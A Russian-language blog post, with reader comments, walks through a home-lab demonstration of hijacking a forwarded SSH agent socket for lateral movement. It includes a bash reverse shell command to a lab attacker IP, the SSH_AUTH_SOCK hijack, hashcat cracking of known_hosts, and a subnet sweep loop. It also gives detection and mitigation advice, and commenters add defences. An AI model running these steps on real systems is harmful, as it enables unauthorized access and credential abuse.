Введение


Однажды я просматривал видео из закладок и решил запустить AASLR: Leveraging SSH Keys for Lateral Movement Хэла Померанца. Примерно на середине видео я захотел начать заново и открыл заметки, чтобы документировать полученную информацию, потому что это был очень интересный материал, которого я не видел раньше. Воспользовавшись этой информацией как фундаментом, я начал искать другие способы применения утилиты ssh-agent и решил создать демо в своей домашней лаборатории. В этом посте я расскажу о своих открытиях.

Что такое SSH Agent?


Для начала нам немного нужно разобраться с тем, что происходит с процессом ssh-agent. ssh-agent — это интересная утилита, используемая для повышения удобства работы с приватными ключами. Она схожа с технологией единого входа (single sign on), но для ключей SSH. SSH agent позволяет командой ssh-add <private_key_file> добавлять в агент, работающий на локальной машине, приватные ключи/идентификационные данные. Список этих ключей можно получить с помощью ssh-add -l. Добавив ключ в утилиту ssh-agent, можно подключиться по ssh к серверу при помощи ключа, не вводя пароль повторно. Это полезно как для людей, так и аккаунтов сервисов. Любопытно, что можно также перенаправить агент ключей к машине, с которой выполняется подключение, что позволяет использовать приватные ключи с машины, к которой вы подключены. Вот пример:

  1. Admin — это администратор сервера, отвечающий за обслуживание множества разных серверов Linux. Admin использует SSH для удалённого подключения ко множеству машин для выполнения своих администраторских задач.
  2. Admin использует утилиту ssh-agent для упрощения подключения к десяткам серверов с разными ключами (защищённых уникальными паролями). Это делается при помощи команды ssh-add <privatekey>. (Примечание: при добавлении к кольцу ключей ssh-agent необходимо правильно ввести пароль.)

  3. Теперь, если admin должен подключиться, например, к DNS-серверу (pihole), то вместо ввода ssh -i /path/to/key/file root@pi.hole и уникального пароля к файлу ключа он может просто ввести ssh root@pihole и подключение будет установлено.

Само по себе с точки зрения безопасности это не так уж здорово, потому что если кто-то сможет скомпрометировать машину admin, то ему удастся подключаться по ssh без знания пароля к приватному ключу. Но я бы закрыл на это глаза. В конце концов, усложнение жизни администраторов — лучший способ заставить их полностью обходить меры безопасности. Настоящий риск возникает тогда, когда опция ssh используется вместе с опцией -A. На самом деле, даже на man-странице ssh есть подсказка, что это может привести к «возможности обхода файловых разрешений на удалённом хосте». Соблазнительно.


Чтобы показать, почему это может быть очень плохо, предположим, что admin на самом деле подключается к серверу командой ssh -A root@<server>. Но зачем вообще это кому-то делать? Разве нельзя просто создать политику, запрещающую администраторам использовать перенаправление агентов? Существует несколько ситуаций, в которых это может быть полезно.

  1. Jumphost: в корпоративных окружениях доступ к уязвимым серверам с личной машины — не очень хорошая политика безопасности. Вместо этого можно использовать инсталляционные серверы (jumphost). Эти особые серверы (в идеале) являются единственными серверами, способными подключаться к уязвимым машинам по ssh. Такую сегментацию можно реализовать через фаерволы. Например: ssh root@super_important_dns_server невозможно будет выполнить с вашей локальной машины, если только ваш трафик не проксируется через jumpserver.
  2. Вы подключились к серверу разработки, которому требуется особый доступ к чему-то (например, к git-репозиторию), но вы не хотите хранить свой приватный ключ на сервере разработки.

Это пара очень простых ситуаций, но общий смысл понятен.

TLDR; перенаправление SSH Agent позволяет не сохранять приватные ключи в местах, над которыми у вас нет контроля.

Предположим, что вы администратор и вам нужно внести изменения в DNS-сервер, залогинившись в него через SSH. Вам бы хотелось сделать это, не сохраняя приватный ключ SSH на jumphost, потому что им пользуются и другие люди. Для этого можно использовать перенаправление агента через ssh -A root@jumphost. Так как у нашей локальной машины есть в ssh-agent приватный ключ для root@pi.hole, можно просто выполнить ssh root@pi.hole с jumphost и получить доступ к pi.hole, не применяя никакие другие меры безопасности. Что же может пойти не так? Если нападающий стремится освоиться в нашей сети, то похищение ключей администратора очень ему в этом поможет. В этом посте мы предполагаем, что admin подключается к серверу, скомпрометированному нападающим, который получил полномочия рута при помощи ssh -A root@<compromised_server>.

Чтобы это стало чуть понятнее, давайте изучим полную цепь атаки в лабораторном окружении.

Демо


Для начала давайте поймём окружение, в котором находимся.


▍ Подробный обзор


Начнём по порядку: первым делом давайте обоснуемся на уязвимом сервере. В реальной ситуации вы сами (или ваша команда начального доступа) должны будете зайти на сервер Linux и скомпрометировать рут-аккаунт. В этом демо я буду выполнять атаку из root@attacker-server и создам reverse shell при помощи простого bash reverse shell bash -i >& /dev/tcp/192.168.1.184/1337 0>&1 и слушателя netcat netcat -nvlp 1337. Это установит крайне рудиментарный доступ к скомпрометированному серверу vuln-server.

Получив доступ к машине, я воспользовался Python для создания полностью интерактивного TTY командой python -c 'import pty; pty.spawn("/bin/bash")'. Чаще всего это необязательно, но это упростит работу.

Далее выполнение команды ssh-add -l на vuln-server позволяет нам определить, есть ли загруженные идентификационные данные. Пока идентификационные данные не загружены, и это означает, что никто не вошёл на этот сервер как root сессией SSH при помощи ssh-agent. Вполне нормальная ситуация.


А теперь начинается интересное. Если мы выполним lsof -U | grep agent, то получим результат, говорящий нам, что пользователь admin подключился к машине и использует SSH-Agent. Повторюсь, важно отметить, что мы можем видеть это только потому, что уже имеем root в системе (или полномочия другого привилегированного пользователя).


Помня об этом, попробуем захватить сокет SSH_AUTH_SOCK. Это достаточно тривиальная задача. Для этого достаточно лишь задать переменную окружения рут-пользователя при помощи команды export. Для этого просто возьмём путь /tmp/ssh-ZzrtT2ZwVr/agent.4145, определённый в предыдущей команде lsof -U | grep agent, и присвоим его переменной окружения SSH_AUTH_SOCK, выполнив export SSH_AUTH_SOCK=/tmp/ssh-ZzrtT2ZwVr/agent4145.


Теперь, когда мы указали переменной окружения существующий SSH-сокет, мы, по сути, скомпрометировали сессию SSH для пользователя admin. Ещё раз выполнив команду ssh-add -l, мы увидим отпечаток ключей на ЛОКАЛЬНОЙ машине пользователя admin. Я выполнил ssh-add -l на своей локальной машине (на которой я залогинен как admin) и можно увидеть, что отпечатки такие же, потому что я вошёл на скомпрометированную машину при помощи перенаправления агента.


Так как теперь у нас есть доступ к ключам ssh-agent пользователя admin, можно использовать их для подключения к другим хостам, к которым ранее подключался администратор. К счастью (или к несчастью), это неполная компрометация приватного ключа, так как SSH-Agent не позволяет никаким образом экспортировать сам приватный ключ. Верификация сервера использует систему запроса/ответа для проверки аутентичности ключа. Если вам любопытно, то более подробно об этом можно прочитать здесь. Но это позволяет нам сделать что-то даже лучше, чем полная компрометация ключа, потому что позволяет обойти необходимость знания пароля приватных ключей и подключаться к компьютерам, к которым раньше подключался пользователь admin.

Как же нам узнать, к чему получал доступ скомпрометированный аккаунт администратора? Это можно сделать несколькими способами. Во-первых, проверив файл /home/admin/known_hosts. В этом файле обычно содержатся IP-адреса ранее посещавшихся хостов. Однако взглянув на файл (в системе Ubuntu 20.04), можно заметить, что там нет никаких IP-адресов… Как же так?


За это можно поблагодарить опцию HashKnownHosts файла /etc/ssh/ssh_config. Если эта опция установлена, то хосты, к которым подключался admin, будут хэшированы.


▍ Способ 1: взлом хэшей


Один из способов обхода этой опции HashKnownHosts заключается во взломе хэшей при помощи инструмента наподобие hashcat. К счастью, кто-то потратил своё время на создание отличного инструмента на Python для автоматического преобразования файла known_hosts в формат, который может парсить hashcat. Воспользуемся инструментом с подходящим названием Known_Hosts-Hashcat. Мои благодарности его создателю chris408!


Преобразовав файл known_hosts в более удобный для взлома формат (и сев за машину, на которой hashcat хорошо работает), мы можем взломать хэши следующей командой hashcat: hashcat.bin -m 160 --hex-salt ../converted_known_hosts -a 3 ipv4_hcmask.txt --quiet. Таким образом, мы можем увидеть, что admin подключался по SSH к IP-адресам 192.168.1.3 и 192.168.1.2. Теперь мы можем попробовать аутентифицироваться на каждой из этих машин, чтобы понять, можно ли переместиться к ним горизонтально по сети.


▍ Способ 2: проверка файла истории


Ещё один простой способ понять, к чему у нас может быть доступ — это проверка файла /home/admin/.bash_history. Так как мы под рутом на этой машине, просмотреть его удастся без проблем.


У такого способа есть недостатки.

  1. Файл истории bash может быть по каким-то причинам очищен (но это маловероятно)
  2. Пользователь мог не выполнить выход на машине, поэтому запись в файл истории могла ещё не произойти.
  3. Может быть задано маленькое ограничение на размер истории bash, поэтому данные окажутся недоступными.

Способ 3: проверяем всё


Ещё один странный способ, который можно попробовать для составления списка машин, к которым у нас есть доступ: запуск скрипта bash, пытающегося войти по ssh в каждый домен в 192.168.1.0/24 и выполнить несколько команд. Если вы видите вывод для определённого IP-адреса, то значит, у нас есть доступ к этой машине. Я не рекомендую этого делать, но это возможно, если вы не пытаетесь скрыть свои действия. Не особо изящно, но свою задачу решает.

for i in 192.168.1.{1..255}; do echo "Checking $i for access..." ; ssh -o BatchMode=yes root@$i "hostname; whoami; ip -c a | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'" 2>/dev/null; done


▍ Кража SSH-сессии


Если мы уже нашли свидетельства того, к чему подключался admin, то остаётся тривиальная задача маскировки под пользователя при помощи его идентификационных данных ssh-agent. Правильно задав переменную окружения SSH_AUTH_SOCK, можно просто подключиться по ssh к обнаруженному серверу. Например: ssh root@pi.hole. Даже если ключ ssh, обычно используемый для доступа к этому серверу, защищён паролем, то вы залогинитесь на удалённом сервере без запроса пароля приватного ключа. В своём случае мне удалось аутентифицироваться на DNS-сервере.


Выявление


Как и в случае с большинством атак, оптимальнее всего выявлять подобные виды компрометации благодаря пониманию структуры сети и её сегментированию. Учитывая, что это не особо сложный эксплойт, если вы не знаете, что искать, то выявить его будет довольно трудно. Мои рекомендации:

  1. Сегментируйте свою сеть. В этом примере всё находилось в однородной сети, поэтому изучить её было очень просто.
  2. Обеспечьте понимание структуры и поведения своей сети. В реальной ситуации должно быть очень подозрительно, что ваш веб-сервер в DMZ подключается по SSH ко всему.

Использование такой конфигурации SSH злоумышленниками может быть очень простым процессом. Внедрив правила фаерволов для усиления сегментации сети, вы сможете ослабить последствия атаки. Например, можно при помощи iptables отбрасывать все пакеты от хоста vuln-server к DNS-серверу. iptables -I INPUT -s 192.168.1.183 -j DROP. Пример достаточно искусственный, но надо понимать, что чёткий контроль доступа следует настраивать в каждой сети.


Подведём итог


Итак, уязвимость ли это? Не совсем. Как и многие вещи в мире безопасности, эта «атака» на самом деле является зловредным применением обычной функциональности. Задача этого поста — объяснить вам, что теоретически может произойти в подходящих обстоятельствах.

Ссылки


https://www.youtube.com/watch?v=Gr3ULSoRg9U&t

https://www.ssh.com/academy/ssh/agent

https://smallstep.com/blog/ssh-agent-explained/

https://www.linode.com/docs/guides/using-ssh-agent/

https://en.wikipedia.org/wiki/Ssh-agent

Telegram-канал с розыгрышами призов, новостями IT и постами о ретроиграх ????️

Комментарии (12)


  1. lorc
    20.09.2023 13:23
    +16

    Статья вида "имея рутовый доступ на машине, можно делать с ней что угодно!".

    Ну камон. Даже если бы условный админ на подконтрольной машине не использовал SSH Agent, а исправно вводил пароль руками, этот пароль можно было бы перехватить и ходить с ним куда угодно.


    1. slonopotamus
      20.09.2023 13:23
      +2

      Поэтому не надо на промежуточных хопах делать ни того, ни другого. См. следующую ветку комментариев.


  1. ritorichesky_echpochmak
    20.09.2023 13:23
    +3

    $ ssh -J <jump server1>,<jump server2>,<jump server3> <remote server>

    Я что-то не пойму, зачем здесь -A

    Если кто-то навертел такие безопасные хосты, что на них попасть по-человечески нельзя, то к нему и вопросы, откуда в такой безопасной конфигурации взялась малварь которая стырила проброшенные ключи, ключи сохранённые локально на хосте и всё что набирали с клавки


    1. slonopotamus
      20.09.2023 13:23
      +3

      +1 к ProxyJump'у. Ожидал в статье ответ на вопрос "как безопасно подключиться через цепочку серверов, которым мы не доверяем", но его там почему-то нет. А пробросом ssh-agent'а просто не надо пользоваться и всё.


  1. makkarpov
    20.09.2023 13:23
    +2

    А где компрометация приватных ключей?

    Юзер указал опцию, что нужно пробросить сокет ssh-agent, который используется для аутентификации с ключами в памяти. Однако внезапно SSH пробросил сокет ssh-agent, и, что дважды внезапно, им можно воспользоваться для аутентификации.


  1. Kirikekeks
    20.09.2023 13:23
    +1

    Это есть в man ssh.


  1. Vanav
    20.09.2023 13:23
    +3

    Есть три решения этой проблемы:

    1. Использовать ssh -J / ProxyJump, в этом случае не нужен SSH agent

    2. Использовать ключ ssh-add -c, в этом случае для каждого использования SSH ключа будет запрашиваться подтверждение

    3. Использовать ограничения для ключей (OpenSSH v8.9). Кстати, это умеет KeePass KeeAgent:


  1. cliver
    20.09.2023 13:23
    +1

    Вам бы хотелось сделать это, не сохраняя приватный ключ SSH на jumphost, потому что им пользуются и другие люди.

    потому что им пользуются и другие люди

    И этот человек еще пытается учить кого-то безопасности. Я то думал, как минимум секретность ключа надо научиться соблюдать.

    в корпоративных окружениях доступ к уязвимым серверам с личной машины — не очень хорошая политика безопасности

    То есть автор как бы предполагает, что все уязвимые машины наперед известны. Гениально.


    1. cliver
      20.09.2023 13:23

      В оригинале

      In enterprise environments, accessing sensitive servers from your personal machine is not a great security policy.

      Почувствуйте разницу: sensitive не значит уязвимый


    1. cliver
      20.09.2023 13:23

      We would like to do so without having to store our SSH private key on the jumphost because it is shared between other people.

      Имеется ввиду не ключ, а хост. Трудности понимания ...


  1. kt97679
    20.09.2023 13:23
    +1

    Я надеялся, что статья расскажет как извлечь приватный ключ из агента примерно как тут


  1. sgrb
    20.09.2023 13:23

    Думал тут будет что-то про то, как удалённо вытащить приватный ключ из ssh-агента, а тут по сути пересказано предостережение, которое во всех манах пишут - что рут на удалённой системе может авторизоваться через проброшенный агент.

    Как с этим бороться? Можно для критичных систем использовать аппаратный токен, который требует физического взаимодействия при каждой авторизации (типа yubikey). Можно вместо ssh-agent использовать gpg-agent, который умеет хранить ssh-ключи и умеет также на каждую попытку авторизации запрашивать подтверждение.